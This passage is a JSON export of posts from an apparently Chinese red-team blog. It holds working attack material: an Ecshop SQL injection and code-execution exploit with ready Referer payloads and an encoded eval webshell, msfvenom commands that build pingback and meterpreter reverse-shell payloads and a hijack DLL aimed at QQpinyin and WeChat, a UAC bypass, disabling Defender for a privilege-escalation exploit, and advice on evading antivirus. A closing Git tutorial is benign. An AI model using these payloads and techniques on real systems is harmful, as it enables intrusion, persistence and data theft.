Payloads","slug":"Payloads","date":"2019-09-05T16:47:46.000Z","updated":"2019-09-16T06:42:00.915Z","comments":true,"path":"2019/09/06/Payloads/","link":"","permalink":"http://patrilic.top/2019/09/06/Payloads/","excerpt":"","text":"0x00 前言 文章首发于先知社区,文章链接:https://xz.aliyun.com/t/6268 今天早上Rapid7cn的公众号更新了一篇文章,然后就被群里的大师傅们转发了好几遍233,感觉挺有意思的,也想着分析一下 https://mp.weixin.qq.com/s/ZI-qQ_ORKG_gJ2Wnc2PiRA 官网: https://blog.rapid7.com/2019/08/01/introducing-pingback-payloads/ 0x01 pingback这次一共更新了10个pingback payload, 至于什么是pingback,其实msf官方在github已经说的很清楚了https://github.com/rapid7/metasploit-framework/pull/12129 Pingback payloads are designed to provide a limited-functionality payload to verify an exploit has worked. It does not provide a shell of any kind. A pingback payload creates a “random” UUID value (separate from the payload UUID) that is written to the Metasploit database along with other data. When executed on target, the payload sends back that UUID to verify that the exploit worked, but nothing else. When Framework receives that UUID, we verify the target is vulnerable to the exploit without loading an interactive shell.This prevents traditional [W/M]ITM attacks or someone sniffing the traffic for information, as the UUID itself means nothing to a listener, and without further execution, the session itself is not particularly valuable to an attacker. 简单来说感觉其实就是,AV对msf之前的常规reverse_shell会进行拦截,导致我们并不能很清楚的知道目标是否存在该漏洞,然后这个payload就完全不会产生交互式shell,而只是返回一个UUID,能让我们知道poc/exp是否执行成功,然后目标是否存在当前漏洞,而不必担心被中间人攻击或者被拦截 0x02 How to Use翻看代码,我们发现它其实是每次生成一个新的UUID,然后将其发送到目标中,然后调用listener中的payload设置一个监听,然后当程序进行 Pingback 时,MSF打开一个会话来接受UUID,最后拿到完整UUID后,就关闭当前session 12345678910# msf/modules/payloads/singles/ruby/pingback_reverse_tcp.rbdef ruby_string self.pingback_uuid ||= self.generate_pingback_uuid lhost = datastore['LHOST'] lhost = \"[#{lhost}]\" if Rex::Socket.is_ipv6?(lhost) return \"require'socket';\" \\ \"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};\" \\ \"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');\" \"c.close\" end 12345678910111213141516171819202122232425262728# msf/base/sessions/pingback.rbdef uuid_read uuid_raw = rstream.get_once(16, 1) return nil unless uuid_raw self.uuid_string = uuid_raw.each_byte.map { |b| \"%02x\" % b.to_i() }.join print_status(\"Incoming UUID = #{uuid_string}\") if framework.db.active begin payload = framework.db.payloads(uuid: uuid_string).first if payload.nil? print_warning(\"Provided UUID (#{uuid_string}) was not found in database!\") else print_good(\"UUID identified (#{uuid_string})\") end rescue ActiveRecord::ConnectionNotEstablished print_status(\"WARNING: UUID verification and logging is not available, because the database is not active.\") rescue => e # TODO: Can we have a more specific exception handler? # Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than? elog(\"Can't get original UUID\") elog(\"Exception Class: #{e.class.name}\") elog(\"Exception Message: #{e.message}\") elog(\"Exception Backtrace: #{e.backtrace}\") end else print_warning(\"WARNING: UUID verification and logging is not available, because the database is not active.\") end end 然后在 option.rb 中,我们能看到pingback的模块存在两个选项: 12345678def initialize(info = {}) super register_advanced_options( [ Msf::OptInt.new('PingbackRetries', [true, \"How many additional successful pingbacks\", 0]), Msf::OptInt.new('PingbackSleep', [true, \"Time (in seconds) to sleep between pingbacks\", 30]) ], self.class) end PingbackRetries - pingback的次数 PingbackSleep - pinigback的时间间隔 我们利用 Msfvenom 生成一个 windows/x64/pingback_reverse_tcp 的exe木马 1msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o patrilic.exe LHOST=192.168.1.107 LPORT=4445 EXITFUNC=thread PINGBACKRETRIES=10 PINGBACKSLEEP=5 然后在目标机器上执行时: 只会返回UUID 然后目标机器上并没有产生任何的交互式shell,同时使用 Wireshark 也只能捕获到16byte的UUID值 0x03 总结这次更新的pingback payload,已经感觉是最小化的攻击载荷了,而且特征也并不明显,只是一串随机的UUID值而已,感觉用来验证漏洞还是挺不错的,然后后面再办法去掉exp特征,使用另外的方式来获得交互式shell或者直接执行命令云云.. 当然,msf直接生成的程序特征还是挺明显的,还是需要进行免杀,不过由于这个payload并没有进行起敏感进程,所以还是比较好免杀的。 shellcode随便加密搞了下,静态还行,但是动态估计也没啥2333毕竟也没有危险进程,只是开了个socket 然后进程开起来的话,找了个360的机子试了下,没啥问题 不过特征估计也快普及了,感觉思路挺好的,学习了~","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"metasploit","slug":"metasploit","permalink":"http://patrilic.top/tags/metasploit/"}]},{"title":"Windows10 BypassUAC with WSReset.exe","slug":"Windows10 BypassUAC with WSReset.exe","date":"2019-08-29T15:51:00.000Z","updated":"2019-08-30T00:49:55.667Z","comments":true,"path":"2019/08/29/Windows10 BypassUAC with WSReset.exe/","link":"","permalink":"http://patrilic.top/2019/08/29/Windows10 BypassUAC with WSReset.exe/","excerpt":"","text":"@Author: PatrilicTime: 2019-08-29 23:51:00 0x00 前言https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html 利用WSReset.exe进行bypassUAC。 为什么只限于Win10呢,因为这个位于C:\\WINDWOS\\System32 目录下的程序,是微软商店的一个工具 0x01 Bypass这里原作者自己编写了脚本和工具:https://github.com/sailay1996/UAC_bypass_windows_store 首先使用UAC.bat 创建一个带空格字符的目录,然后把WSReset扔进去 接着运行uac_bypass.exe 调用DLL,弹出对话框主要就是因为这个👉 然后会弹出一个管理员的CMD 但是有一个问题是,虚拟机一直保持高速下载 感觉程序里有些东西..后面无聊再分析吧。 0x02 总结bypassUAC方法多种多样,看这个只是因为好玩,用微软没啥用的应用商店的组件,其实本质上还是DLL劫持2333","categories":[{"name":"BypassUac","slug":"BypassUac","permalink":"http://patrilic.top/categories/BypassUac/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/tags/内网渗透/"}]},{"title":"Ecshop 2.x/3.x SQL注入 + 代码执行","slug":"Ecshop 2.x 代码执行","date":"2019-08-26T16:03:02.000Z","updated":"2019-08-27T18:00:58.699Z","comments":true,"path":"2019/08/27/Ecshop 2.x 代码执行/","link":"","permalink":"http://patrilic.top/2019/08/27/Ecshop 2.x 代码执行/","excerpt":"","text":"@Author: Patrilic@Time: 2019-8-27 00:03:02 0x00 前言很多QB的Passer6y给我发了个长得奇奇怪怪的payload,想了下,好像是Ecshop 2.x的RCE,昨年看到就想分析,一直搞忘了.. 今晚补上!PS: 速度与激情真的好看,Dwayne Johnson太帅ahhhh 0x01 环境搭建使用phpstudy 2018 搭建 分析工具: PhpStormphp 5.3.29 nts + ApacheMySQL 5.5.3 0x02 漏洞复现SQL注入漏洞发生在user.php 的 Referer处payload:1Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:72:\"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -\";s:2:\"id\";i:1;} 代码执行其实是SQL注入的进一步利用,同样是在user.phppayload:1Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:110:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -\";s:2:\"id\";s:4:\"' /*\";}554fcae493e564ee0dc75bdf2ebf94ca 0x03 漏洞分析SQL注入漏洞直接看漏洞发生点:既然payload是从Referer传进来的,那么就直接看['HTTP_REFERER']user.php123456789101112131415161718192021222324252627/* 用户登录界面 */elseif ($action == 'login'){ if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand', mt_rand()); } $smarty->assign('back_act', $back_act); $smarty->display('user_passport.dwt');} $back_act 从HTTP_REFERER那里拿到值,然后$smarty->assign('back_act', $back_act);将$back_act作为参数,调用assign函数实际调用的是/includes/cls_template.php下的assign函数 1234567891011121314151617181920function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } } 可以其实是注册了模板变量,然后回到login处,调用了display函数12345678910111213141516171819202122232425function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; } filename便是传入的user_passport.dwt,这里调用fetch处理dwt文件,转到fetch函数,使用了1$out = $this->make_compiled($filename); 然后使用make_compiled函数进行编译user_passport.dwt里面存在{$back_act}变量12345<td align=\"left\"><input type=\"hidden\" name=\"act\" value=\"act_login\" /><input type=\"hidden\" name=\"back_act\" value=\"{$back_act}\" /><input type=\"submit\" name=\"submit\" value=\"\" class=\"us_Submit\" /></td> display函数里存在一个if判断,如果$out是否存在$this->_echash,而这个hash值,其实是一个静态变量1var $_echash = '554fcae493e564ee0dc75bdf2ebf94ca'; 我们跟进这个if判断,如果存在的话,从hash处分割,然后把$k交给$this->insert_mod($val)去处理继续跟insert_mod()函数12345678function insert_mod($name) // 处理动态内容 { list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); } 这里先用|分割,进行反序列化操作,然后再使用insert_拼接,所以其实,该函数名和参数均可控就是需要寻找一个insert_开头的函数。 最后,/includes/lib_insert.php里存在一个insert_ads函数12345678910111213141516171819202122232425262728293031function insert_ads($arr){ static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . \"WHERE enabled = 1 AND start_time <= '\" . $time . \"' AND end_time >= '\" . $time . \"' \". \"AND a.position_id = '\" . $arr['id'] . \"' \" . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); } else { if ($static_res[$arr['id']] === NULL) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '. 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . \"WHERE enabled = 1 AND a.position_id = '\" . $arr['id'] . \"' AND start_time <= '\" . $time . \"' AND end_time >= '\" . $time . \"' \" . 'ORDER BY rnd LIMIT 1'; $static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql); } $res = $static_res[$arr['id']]; } 这里我们的$arr数组,是完全可控的,就造成了一个SQL注入漏洞所以攻击链就出来了 user.php (获取$back_act)-> assign() 注册变量 -> display() 输出模版 -> 根据hash,进入insert_mod() -> 最后调用insert_ads() 完成注入 payload:1REFERER: hash + $fun | serialize(array(\"num\"=>sqlpayload,\"id\"=>1)) 代码执行漏洞点同样是这个SQL注入引起,主要是因为insert_ads()函数后面又引入了一个fetch123456789$position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; 这里将$position_style进行fetch,往上看1234567foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style']; $position_style是从SQL结果集中取的,所以,我们应该可以控制代码执行点在fetch函数里123456789101112function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } 这里之前因为$position_style已经经过了$position_style = 'str:' . $position_style;的处理所以strncmp($filename,'str:', 4) == 0肯定是为真的,所以会直接执行代码.但是需要满足fetch_str函数123456789101112131415161718192021function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace(\"/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\\()/is\", \"\", $source); if(preg_match_all('~(<\\?(?:\\w+|=)?|\\?>|language\\s*=\\s*[\\\"\\']?php[\\\"\\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \\''.str_replace(\"'\", \"\\'\", $sp_match[1][$curr_sp]).'\\'; ?>'.\"\\n\", $source); } } return preg_replace(\"/{([^\\}\\{\\n]*)}/e\", \"\\$this->select('\\\\1');\", $source); } 在往里面跟,最终是调用了$this->select()函数1234567891011121314151617181920function select($tag) { $tag = stripslashes(trim($tag)); if (empty($tag)) { return '{}'; } elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分 { return ''; } elseif ($tag{0} == '$') // 变量 {// if(strpos($tag,\"'\") || strpos($tag,\"]\"))// {// return '';// } return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>'; } 这里我们能看到曙光了,就是如果第一位是$的话,就返回给_eval函数一个带有php标签的代码,但是还是会经过一个get_val()1234567891011121314151617181920212223242526272829303132function get_val($val) { if (strrpos($val, '[') !== false) { $val = preg_replace(\"/\\[([^\\[\\]]*)\\]/eis\", \"'.'.str_replace('$','\\$','\\\\1')\", $val); } if (strrpos($val, '|') !== false) { $moddb = explode('|', $val); $val = array_shift($moddb); } if (empty($val)) { return ''; } if (strpos($val, '.$') !== false) { $all = explode('.$', $val); foreach ($all AS $key => $val) { $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']'; } $p = implode('', $all); } else { $p = $this->make_var($val); } 当传入的变量没有.$时,调用$this->make_var,看看make_var12345678910111213141516171819202122232425262728293031323334function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\\'' . $val . '\\']'; } else { $t = explode('.', $val); $_var_name = array_shift($t); if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name])) { $_var_name = $this->_patchstack[$_var_name]; } if ($_var_name == 'smarty') { $p = $this->_compile_smarty_ref($t); } else { $p = '$this->_var[\\'' . $_var_name . '\\']'; } foreach ($t AS $val) { $p.= '[\\'' . $val . '\\']'; } } return $p; } 可以看到最终返回的$p变成了$p = '$this->_var[\\'' . $_var_name . '\\']'往回看,我们的select函数return的值就变成了1<?php echo $this->_var[' $val '];?> 然后结合上面进入函数的条件,我们可以构造payload1{$abc'];echo phpinfo();//} 然后因为不满足fetch_str的正则,加一个/**/1{$abc'];echo phpinfo/**/();//} 然后就是利用SQL注入漏洞,让$position_style等于我们的payload了 最终payload1Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:110:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -\";s:2:\"id\";s:4:\"' /*\";}554fcae493e564ee0dc75bdf2ebf94ca 简单来说就是利用$arr['id']和$arr['num'] 注释掉中间的 order by 和 limit,强制执行UNION,带入position_style 和之前的APT攻击一样,可以直接带入一个无文件Webshell:1234560x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d# unhex{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}# base64_decode@EVAL(base64_decode($_POST['Nox'])); 0x04 总结Ecshop 还是见的比较多,用途也比较广,特别是现在各类区块链的网站,用的还是比较多 3.x同样也可以rce,只是需要精心构造payload,因为需要绕过waf,但是404的师傅说其实将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF了23333 0x05 Linkshttps://paper.seebug.org/695/https://xz.aliyun.com/t/2689https://www.seebug.org/vuldb/ssvid-97343","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"代码审计","slug":"代码审计","permalink":"http://patrilic.top/tags/代码审计/"}]},{"title":"DLL Hijacking","slug":"DLL Hijacking","date":"2019-08-23T04:18:04.000Z","updated":"2019-08-27T18:08:49.932Z","comments":true,"path":"2019/08/23/DLL Hijacking/","link":"","permalink":"http://patrilic.top/2019/08/23/DLL Hijacking/","excerpt":"","text":"@Authro: Patrilic@Time: 2019-08-23 12:18:04 0x00 IntroduceDLL Hijacking, 顾名思义,就是DLL劫持,利用DLL劫持,可以通过调用恶意dll文件来执行shellcode。所以,DLL是什么呢?维基百科 简单来说,exe文件本身不需要很多函数,而是去调用DLL文件中的函数,当进程运行到需要调用时,就去从文件中调用对应的函数,然后当我们能够中间插入自己的DLL并想办法让程序运行我们的DLL时,就造成了劫持。 0x01 DLL HijackingDLL hijacking 在 CWE上又名: Untrusted Search Path Vulnerabilityhttps://cwe.mitre.org/data/definitions/426.html dll劫持通过利用DLL的加载顺序,让我们的恶意dll在正常的dll前面加载,就可以进行劫持了 DLL Search Order下面来看一下dll的加载顺序:官方文档: https://docs.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order 应用程序可以通过以下方式控制一个DLL的加载路径:使用全路径加载、使用DLL重定向、使用manifest文件。如果上述三种方式均未指定,系统查找DLL的顺序将按照本部分描述的顺序进行。 然后这里有两个前提条件,对以下两种情况的DLL,程序不会查找,而是直接引用 对于已经加载到内存中的同名DLL,系统使用已经加载的DLL,并且忽略待加载DLL的路径。(注意对某个进程而言,系统已经加载的DLL一定是唯一的存在于某个目录下。) 如果该DLL存在于某个Windows版本的已知DLL列表(unkown DLL)中,系统使用已知DLL的拷贝(包括已知DLL的依赖项)。已知DLL列表可以从如下注册表项看到:HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs。 12345671.程序所在目录2.程序加载目录(SetCurrentDirectory)3.系统目录即 SYSTEM32 目录4.16位系统目录即 SYSTEM 目录5.Windows目录6.PATH环境变量中列出的目录 我们使用ProcessMonitor来监控进程可以通过👉https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon下载 Do it这里使用自动化的审计工具进行DLL劫持分析推荐Windows下使用Dll Hijack Auditor 我们以Vc++6.0编辑器为例 生成报告 我们可以看到存在dll可以劫持 然而这个我发现,好像并不能使用2333那要怎么手动寻找呢?反正DLL的加载,我们只需要从程序已经加载的DLL列表中,查找在“KnownDLLs注册表项”中不存在的DLL。然后将恶意dll放在程序当前目录即可 然后还有两个利器: Robber https://github.com/MojtabaTajik/RobberRattler https://github.com/sensepost/rattler Hack it用倾旋师傅之前找到的QQpinyin来做一个演示https://payloads.online/archivers/2018-06-09/1 Msf1msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=182.168.0.101 LPORT=10001 -f dll > ntmarta.dll CobaltStrike同样的操作,反弹beacon Weixin DLL Hijacking微信PC版相信还是用的比较多的,也常常能在一些公司电脑上看到,所以还是比较有意义的当然,ProcessMonitor也能看到构造payload劫持即可 0x02 SummaryDLL劫持也是老的不行的一个漏洞了,但是在进行维权,持续渗透的方面,一直都比较厉害。真实环境下,我们可以制作一个加密的DLL文件,从DLLMain里进行调用,回弹shell的同时,也完成程序的正常功能,特别是针对用户常用软件的DLL劫持~虚浮了 0x03 Other to Learn一种通用DLL劫持技术研究老树开新花:DLL劫持漏洞新玩法深入解析DLL劫持漏洞","categories":[{"name":"ATT&CK","slug":"ATT-CK","permalink":"http://patrilic.top/categories/ATT-CK/"}],"tags":[{"name":"DLL Hijacking","slug":"DLL-Hijacking","permalink":"http://patrilic.top/tags/DLL-Hijacking/"}]},{"title":"寻找内网出口ip","slug":"寻找内网出口ip","date":"2019-08-20T12:14:23.000Z","updated":"2020-03-14T15:07:54.125Z","comments":true,"path":"2019/08/20/寻找内网出口ip/","link":"","permalink":"http://patrilic.top/2019/08/20/寻找内网出口ip/","excerpt":"","text":"@Author: Patrilic@Time: 2019-8-20 20:14:23 0x00 前言晚上吃了饭回酒店,一觉睡醒,发现有个师傅问我windows机器只有webshell怎么找内网的出口ip,想了想确实没总结过这个东西(主要是平时都是直接反弹个shell了..) 仔细想想,其实挺好玩的,然后就和几个师傅讨论了下,感觉大概就下面这几种方式,如果有不足请师傅补充~ 0x01 LinuxLinux 由于基本自带 curl和wget,telnet命令,所以还是比较简单的 Curl1curl cip.cc telnet1telnet cip.cc wget利用nc监听端口,然后linux端使用wget命令即可 1wget xxx.xxx.xxx.xxx:90 ping(linux windows通用)结合ceye 直接执行ping命令,走DNS Query1ping metzl4.ceye.io 0x02 WindowsWebClient和Wget一个原理,我们平时经常会使用下面的语句进行文件传输1(New-Object System.Net.WebClient).DownloadFile(\"http://xxx.xxx.xxx.xxx/nc.exe\",\"nc.exe\") 同样,只要是走http通道,那就肯定可以和我们的vps进行连接,就可以拿到出网ip了 WebRequestPowershell version > 3.0 就可以使用Windows上的wget了2333 查看Powershell版本:12Get-Host$PSVersionTable.PSVersion 官方文档:https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Invoke-WebRequest?view=powershell-5.1 Usage: certutilcertutil这个东西被AV监控得太死了.. 实战用的话也需要一定的绕过技巧 startstart命令直接会开启一个ie进程去访问目标url 当然,需要注意用户,别给别人远程桌面开个ie啥的 …还有其他的姿势,反正我觉得只要是可以用各种东西访问外面的,都可以拿到真实的出口ip,大哥们也可以研究下 0x03 反弹shell既然有Webshell了,最常见的方式也就是反弹个shell啥的,这里就不多讲了,os shell,meterpreter啥的都ok 0x04 总结这个问题也是突发奇想,好像具体的意义也不是很大,主要是在想如何规避AV和不通过第三方应用和写文件的情况下进行一个ip获取~师傅们见谅","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://patrilic.top/tags/内网渗透/"}]},{"title":"CVE-2019-1162 CTFtool 提权","slug":"CVE-2019-1162","date":"2019-08-16T16:03:55.000Z","updated":"2019-08-20T15:29:22.659Z","comments":true,"path":"2019/08/17/CVE-2019-1162/","link":"","permalink":"http://patrilic.top/2019/08/17/CVE-2019-1162/","excerpt":"","text":"@Author: Patrilic@Time: 2019-08-17 0:03:55 0x00 前言1a little-known protocol used on Windows to implement Text Services. This might be useful for studying Windows internals, debugging complex issues with Text Input Processors and analyzing Windows security. 据说通杀xp到win10来自GooleProjectZero的报告:https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html 0x01 环境测试版本: Windows 10 1809 0x02 复现传文件到虚拟机的时候,被Defender拦截了 由于只是复现一下,就直接关了就行.. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SecurityHealthService 在右侧找到DWORD(32位)值,命名为Start。 修改数值数据为4 同样可以直接修改dll为cobalt Stike或者msf生成的dll就可以回弹了,简单方便~问题: 测试win7和win10 1903都可以成功,但是有些环境提示缺少MSVCPxx.dll,需要依赖。 需要多次交互,建议改源码或者写一键脚本 特征太明显,需要免杀 0x03 视频https://www.bilibili.com/video/av64061036/ 0x04 链接https://github.com/taviso/ctftoolhttps://www.youtube.com/watch?time_continue=2&v=r3vrzzDpmhchttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1162","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://patrilic.top/categories/漏洞复现/"}],"tags":[{"name":"Windows提权","slug":"Windows提权","permalink":"http://patrilic.top/tags/Windows提权/"}]},{"title":"从Learn Git Branching学习Git","slug":"从Learn Git Branching学习Git","date":"2019-08-15T01:14:11.000Z","updated":"2019-08-20T15:30:47.442Z","comments":true,"path":"2019/08/15/从Learn Git Branching学习Git/","link":"","permalink":"http://patrilic.top/2019/08/15/从Learn Git Branching学习Git/","excerpt":"","text":"@Author: Patrilic@Time: 2019-08-15 09:14:11 0x00 前言学学学~,突然发现Git真的是神器。。可惜我以前只会git clone和git pull之类的.. 然后这次打算利用Learn Git Branching这个网站快速入门Git,做个记录 0x01 基础篇Git CommitGit 仓库中的提交记录保存的是你的目录下所有文件的快照,就像是把整个目录复制,然后再粘贴一样,但比复制粘贴优雅许多! Git 希望提交记录尽可能地轻量,因此在你每次进行提交时,它并不会盲目地复制整个目录。条件允许的情况下,它会将当前版本与仓库中的上一个版本进行对比,并把所有的差异打包到一起作为一个提交记录。 Git 还保存了提交的历史记录。这也是为什么大多数提交记录的上面都有父节点的原因 —— 我们会在图示中用箭头来表示这种关系。对于项目组的成员来说,维护提交历史对大家都有好处 使用Git commit会将当前节点变成父节点,然后在此基础上生成子节点 Git branchGit 的分支也非常轻量。它们只是简单地指向某个提交纪录 —— 仅此而已。所以许多 Git 爱好者传颂: 早建分支!多用分支! 这是因为即使创建再多分的支也不会造成储存或内存上的开销,并且按逻辑分解工作到不同的分支要比维护那些特别臃肿的分支简单多了。 在将分支和提交记录结合起来后,我们会看到两者如何协作。现在只要记住使用分支其实就相当于在说:“我想基于这个提交以及它所有的父提交进行新的工作。” 使用git checkout <name>来切换分支 如果你想创建一个新的分支同时切换到新创建的分支的话,可以通过 git checkout -b <your-branch-name>来实现。 git merge在 Git 中合并两个分支时会产生一个特殊的提交记录,它有两个父节点。翻译成自然语言相当于:“我要把这两个父节点本身及它们所有的祖先都包含进来。” Git RebaseRebase 实际上就是取出一系列的提交记录,“复制”它们,然后在另外一个地方逐个的放下去。 Rebase 的优势就是可以创造更线性的提交历史,这听上去有些难以理解。如果只允许使用 Rebase 的话,代码库的提交历史将会变得异常清晰。 0x02 高级篇分离HEAD我们首先看一下 “HEAD”。 HEAD 是一个对当前检出记录的符号引用 —— 也就是指向你正在其基础上进行工作的提交记录。 HEAD 总是指向当前分支上最近一次提交记录。大多数修改提交树的 Git 命令都是从改变 HEAD 的指向开始的。 HEAD 通常情况下是指向分支名的(如 bugFix)。在你提交时,改变了 bugFix 的状态,这一变化通过 HEAD 变得可见。 相对引用通过指定提交记录哈希值的方式在 Git 中移动不太方便。在实际应用时,并没有像本程序中这么漂亮的可视化提交树供你参考,所以你就不得不用 git log 来查查看提交记录的哈希值。 并且哈希值在真实的 Git 世界中也会更长(译者注:基于 SHA-1,共 40 位)。例如前一关的介绍中的提交记录的哈希值可能是 fed2da64c0efc5293610bdd892f82a58e8cbc5d8。舌头都快打结了吧… 比较令人欣慰的是,Git 对哈希的处理很智能。你只需要提供能够唯一标识提交记录的前几个字符即可。因此我可以仅输入fed2 而不是上面的一长串字符。 “~”操作符如果你想在提交树中向上移动很多步的话,敲那么多 ^ 貌似也挺烦人的,Git 当然也考虑到了这一点,于是又引入了操作符 ~。 该操作符后面可以跟一个数字(可选,不跟数字时与 ^ 相同,向上移动一次),指定向上移动多少次。咱们还是通过实际操作看一下吧 强制修改分支位置你现在是相对引用的专家了,现在用它来做点实际事情。 我使用相对引用最多的就是移动分支。可以直接使用 -f 选项让分支指向另一个提交。例如: git branch -f master HEAD~3 上面的命令会将 master 分支强制指向 HEAD 的第 3 级父提交。 这关的练习挺有意思的ahhh 撤销变更在 Git 里撤销变更的方法很多。和提交一样,撤销变更由底层部分(暂存区的独立文件或者片段)和上层部分(变更到底是通过哪种方式被撤销的)组成。我们这个应用主要关注的是后者。 主要有两种方法用来撤销变更 —— 一是 git reset,还有就是 git revert。接下来咱们逐个进行讲解。 0x03 移动提交记录Git Cherry-pick本系列的第一个命令是 git cherry-pick, 命令形式为: git cherry-pick <提交号>…如果你想将一些提交复制到当前所在的位置(HEAD)下面的话, Cherry-pick 是最直接的方式了。我个人非常喜欢 cherry-pick,因为它特别简单。 交互式的 rebase当你知道你所需要的提交记录(并且还知道这些提交记录的哈希值)时, 用 cherry-pick 再好不过了 —— 没有比这更简单的方式了。 但是如果你不清楚你想要的提交记录的哈希值呢? 幸好 Git 帮你想到了这一点, 我们可以利用交互式的 rebase —— 如果你想从一系列的提交记录中找到想要的记录, 这就是最好的方法了 交互式 rebase 指的是使用带参数 –interactive 的 rebase 命令, 简写为 -i 如果你在命令后增加了这个选项, Git 会打开一个 UI 界面并列出将要被复制到目标分支的备选提交记录,它还会显示每个提交记录的哈希值和提交说明,提交说明有助于你理解这个提交进行了哪些更改。 在实际使用时,所谓的 UI 窗口一般会在文本编辑器 —— 如 Vim —— 